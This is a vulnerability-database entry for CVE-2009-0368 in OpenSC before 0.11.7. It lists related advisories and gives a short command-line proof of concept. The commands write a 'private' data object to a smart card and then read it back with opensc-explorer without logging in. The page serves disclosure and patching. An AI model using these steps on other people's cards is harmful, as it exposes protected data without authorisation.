OpenSC 0.11.x - PKCS#11 Implementation Unauthorized Access
| Reporter | Title | Published | Views | Family All 53 |
|---|---|---|---|---|
 | Vulnerabilities in the Debian GNU/Linux operating system that allow a local attacker to compromise the confidentiality of protected information | 6 Jul 201600:00 | – | bdu_fstec |
| Vulnerabilities of the Gentoo Linux operating system, which allow a remote attacker to compromise the confidentiality of protected information | 28 Apr 201500:00 | – | bdu_fstec |
 | CVE-2009-0368 | 26 Feb 200900:00 | – | circl |
 | CVE-2009-0368 | 2 Mar 200922:00 | – | cve |
 | CVE-2009-0368 | 2 Mar 200922:00 | – | cvelist |
 | [SECURITY] [DSA 1734-1] New opensc packages fix information disclosure | 5 Mar 200908:57 | – | debian |
 | CVE-2009-0368 | 2 Mar 200922:00 | – | debiancve |
 | Debian DSA-1734-1 : opensc - programming error | 8 Mar 200900:00 | – | nessus |
| Fedora 10 : opensc-0.11.7-1.fc10 (2009-2266) | 23 Apr 200900:00 | – | nessus |
| Fedora 9 : opensc-0.11.7-1.fc9 (2009-2267) | 19 Mar 200900:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/33922/info
OpenSC is prone to an unauthorized-access vulnerability.
Attackers can exploit this issue to gain unauthorized access to private data, which may lead to other attacks.
Versions prior to OpenSC 0.11.7 are vulnerable.
The following proof of concept is available:
create a file with a secret:
echo "This is my secret data" > secret-file
To initialise a blank card:
pkcs15-init --create-pkcs15 --use-default-transport-keys --profile pkcs15+onepin --pin 123456 --puk 78907890
To write a private data object to the card:
pkcs11-tool --label "my secret" --type data --write-object secret-file
--private --login --pin 12345
To see all objects on the card:
pkcs15-tool --dump
This will list the data object, including the path it is stored, e.g.:
"Path: 3f0050154701"
To access such an object with low-level tools:
opensc-explorer
cd 5015
get 4701Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Apr 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.01215